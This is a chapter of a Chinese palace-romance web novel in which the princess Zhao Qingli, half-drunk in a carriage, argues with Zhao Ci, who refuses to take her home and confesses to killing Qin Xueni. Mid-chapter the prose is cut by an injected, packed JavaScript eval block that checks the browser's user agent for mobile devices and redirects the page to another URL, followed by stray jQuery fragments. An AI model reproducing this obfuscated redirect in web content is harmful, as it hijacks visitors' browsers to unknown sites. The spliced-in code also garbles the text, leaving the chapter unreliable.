69. 第 69 章

作品:《重生后被太子强取豪夺了

    小的时候在皇后身边,赵清漓常听宫里娘娘们闲话,说人都是有前世今生的,今生若过得不好,必定是前世作孽太多,今生若种得善缘,来世定能修得善果。


    都是轮回报应。


    可没人告诉过她人还会在同一世轮回。


    如今她身上的经历,究竟是善因还是恶果?


    “如果你不是赵清漓就好了。”


    “如果......你只是个普通人就好了。”


    是啊,如果可以,她也想做一个普通人,不要跟皇室沾染关系,做一个平平凡凡的普通人就好了。


    思及此,整个世界忽而狠狠震了一下。


    赵清漓只觉得自己突然掉进一片无垠的大海,水面正在无限的扩张,她本就岌岌可危浮在水面,下一刻,天旋地转的感觉袭来,似乎有什么东西缠上她的脚,把她狠狠拽紧看不清颜色的水中。


    窒息的感觉正在迅速把她淹没......


    赵清漓猛地睁开双眼,胸口还在剧烈地颤动,她下意识攥紧胸前的衣料,却再一次惊觉这触感并非她自己的。


    还好,比慌张来得更早的是一股檀香夹杂些许广藿香的味道,随着她急促的呼吸闯入她的鼻腔和脑海,渐渐平复她的情绪。


    赵清漓微微仰头,迷迷糊糊看着眼前放大的美好:“......赵辞?”


    映入眼帘的正是赵辞温和的面容,原本锋利的脸部线条也因为他嘴角噙着的淡笑变得柔和起来。


    车轱辘再次碾过一块翘起的青石板。


    整架马车浸在伸手不见五指的深空和长街,而车厢里面暖帐垂落,将外头的夜色隔绝的一干二净,耳畔只余下清晰的马蹄和车轮经过的声音。


    随着又一次的颠簸,赵清漓这才发现自己手里攥着的是赵辞的披风,而她正倚在赵辞怀里。


    赵辞为她拂去睫毛上挂着的一根青丝,说道:“荀安驾车向来这样毛糙,把你吵醒了吧。”


    赵清漓摇摇头,从他怀里起来,下巴底下挂在肩上的玄色披风跟着滑落在她腿上,露出她紧攥着裙摆的白皙柔荑。


    “你怎么在这!”赵清漓赌气的垂下脑袋不看他,声音也闷闷的。


    赵辞一看便知,她人看着醒了,脑子好像还晕乎着。


    他耐心解释:“明日就是千秋宴,怕你这边再生事端。”


    把跟踪说得这么含蓄!


    赵清漓眯着眼哼了一声,好一会儿,忽然面露一丝疑惑,不确定地睁大眼望向赵辞:“你方才说了什么?”


    “嗯?”赵辞微微一怔,紧接着恍然笑道,“你做噩梦了?”


    噩梦......倒也算吧。


    不过她转醒前好像听到有人说话来着,说了什么......如果......还是什么的。


    她记不清了。


    马车还在继续行驶着,赵清漓抬手撩开背后的车帘,外面漆黑一片,连道人影都不见。


    奇怪了,她刚才不是在倚香楼吗?而且,她去的时候是白天呀!


    怎么一睁眼周慕紫就不见了,天也黑了?


    转过头,她问道:“我们现在去哪儿?”


    赵辞答道:“回家。”


    “家?”赵清漓歪着脑袋,仔细品味着这个字,不明白他口中的这个家是皇宫还是驸马府。


    “回你的家。”怕她没听懂,赵辞补充道,“回驸马府。”


    当“家”这个字和“驸马府”串联起来,赵清漓立马就瞪大了眼睛,鼓着双颊把脑袋摇的像个拨浪鼓,表示自己的反抗和不认同。


    “那不是我的家!我不回去!”


    赵辞的脸上划过一丝无奈,早料到和她是说不通的。


    庆幸的是,这次的赵清漓没有像上次那样喝的酩酊大醉,只是刚好那酒有些烈,她喝着不能习惯,但好在也休息过一段时间,没那么难应付......


    吧?


    不敢再往后想下去,赵辞按过她的脑袋靠在自己胸膛,一下一下地抚摸着她柔顺的发丝,耐心哄道:“好好好,那不是你的家......那清漓能不能帮我一个忙,今天就先在驸马府休息一晚?”


    赵清漓猛地仰起脑袋,额头磕在他的下巴上,她却没感觉到疼似的继续追问:“为什么不回宫?为什么不回我们的家?”


    赵辞收了收颌角,连他都被撞疼了,赵清漓怎么会不痛。


    目光掠过她的额头,白皙光洁的肌肤上已经出现了一小块红红的痕迹,正是方才撞上他留下的。赵辞伤脑筋地叹息了一声,拇指在那块红印上轻轻带过。


    还好,没有肿。


    “我们的家......”赵辞眸光微微闪了几下,露出若有所思的模样,随即很快回过神,对赵清笑了笑,“明天再回去好不好?”


    “不好!”不带一点儿犹豫,赵清漓立刻回绝了他的提议。


    “为什么不好?”赵辞摸了摸她的脸,又软又嫩,还有点凉,叫人爱不释手。


    其实她半醉的时候除了不太能听懂人话,也是很可爱的,至少触碰她的时候,她都不大能反应过来,更不会拒绝他的触碰。


    赵清漓皱着眉头认真想了想,然后毅然决然地伸出手,紧紧环抱住他的腰,倔强地抬着下巴直视赵辞:“我有家,为什么要去别人的家!”


    那座皇宫就是她的家。


    她的父皇在那,母后在那,兄长也在那。


    为什么她要离开,为什么她不能在那里?


    好不讲道理的事!


    正垂眸想着,赵清漓发现和她说话的声音似乎断了。她缓缓掀起了眼帘,发现赵辞正认真地注视着她。


    赵清漓现在脑袋是不够清楚的,视线也是有些模糊的,因此她看不清赵辞在用什么样的目光看着她,只当他是故意不理自己。


    于是她把环在赵辞腰上的手挂在他的后颈上,圈着他的脖颈紧了又紧,赵辞便随着她的动作把头向下低了一点。


    赵清漓把额头贴在他脸上蹭了蹭,软软糯糯的嗓音和他撒起娇:“我想回家,带我回家好不好?”


    若是搁在以前,赵清漓提的任何要求,赵辞都会毫不犹豫的答应。


    但今天一反常态,赵辞用满是爱意的双眼把她的面容深深凝聚在心里,却毅然决然的再次拒绝了她。


    “不好。”赵辞用温柔的声音威胁,“你若不听话,明日也别回去了。”


    赵清漓一下就被唬住了,一双含水的眼眸用力瞪着他,确认了许久,她发现赵辞的话似乎真的没有下文了,于是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091063|193936||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    撇了下嘴,悻悻松开圈着他脖颈的手臂,一脸失落。


    赵辞拦住她往回缩的胳膊,反而按着她的后脊把距离拉得更近,微微俯视道:“你生气了?”


    明知故问。


    诚如他对赵清漓的了解,又怎会看不出她生气了。只是这张脸生气起来也是如此的千娇百媚,惹人更生怜爱。


    可他想答应,却不能答应。


    赵辞抬着她的下巴让她直视自己,耐心解释:“你现在不是未出阁的公主,嫁了人,就会有许许多多的规矩,纵然你不喜欢,也要忍耐。”


    这些大道理她听得头疼,也听不进去,便不耐烦德揪着他肩头衣裳用力捶打。


    眼瞧着泛着微微光泽的衣料被蹂躏的不成样子,赵辞的衣领也乱了,却任由她在自己身上泄愤。


    张牙舞爪的小兽转瞬红了眼眶,水汪汪的杏眼载满委屈的神色,原来只是一只毫无攻击力的雪白兔子。


    “是你在陷害二哥吧!”赵清漓一股脑的把猜测说了出来。


    现在的她完全是想起什么说什么,想到什么说什么。


    她甚至不清楚自己下一句会说什么话,只是任由自己的想法表露心迹,或许不好听,却很坦诚。


    “陷害?”赵辞眉梢微压,露出片刻的思索之色。


    赵清漓拨开他捏着自己下巴的手,不由分说捧着上他的脸,睁着一双大眼认真的、努力的想要和他对视。


    然而不管她如何努力,眼前的赵辞似乎总是朦胧而疏远的。


    赵清漓失望的黯淡下眼眸,两只手的手心尝试着去感受这个人的温度。


    “拿到淮王府的箭羽对你来说一点都不难,还有那柄带字的剑,还有、还有——”赵清漓抿了抿唇,却无法开口说出面具的事。


    含在眼眶的泪珠转了好几个回合,终于再没忍住落下一滴。


    紧接着,像断了线一般,越来越多的泪珠啪嗒落下,一颗一颗经过她脸颊滑落而下,砸在她的衣襟。


    澄澈的玉珠蕴含着能灼伤人的温度,不慎有一颗落在赵辞的手背上,他的手立刻随之蜷缩了下,缓缓成拳。


    她深呼吸了下,勉强地扯起嘴角:“和南靖勾结的人其实是你吧?”


    赵辞平静的望着她,脸上眼中没有因为她的质问而泛起波澜,像是早就做好准备等她问出这样的话,又像是本就坦然,所以没什么可慌乱的。


    “不是我。”他幽幽吐出几个字,算作他简短的回答。


    在赵清漓的预料中,她想到赵辞不会承认,即便承认也不会那么轻易。听到这三个字的时候,她下意识失望地扯了下嘴角,心中却莫名溢出一丝庆幸。


    庆幸还好......还好


    他没有承认。


    可还没等赵清漓读懂自己那份庆幸,下一刻,赵辞的一句话再次将她狠狠拉入深渊。


    “但秦雪霓的死和我有关。”


    甚至在说这句话时,赵辞脸上的表情一丝一毫一点弧度都没有变,就仿佛在讲述一个普通而平淡的事实,没有愧疚,没有挣扎,也没有任何悔意。


    似乎这样还不够。


    赵辞用轻飘而平静的口吻继续说道:“如果你不能理解,那我干脆一点告诉你,秦雪霓是我杀的。”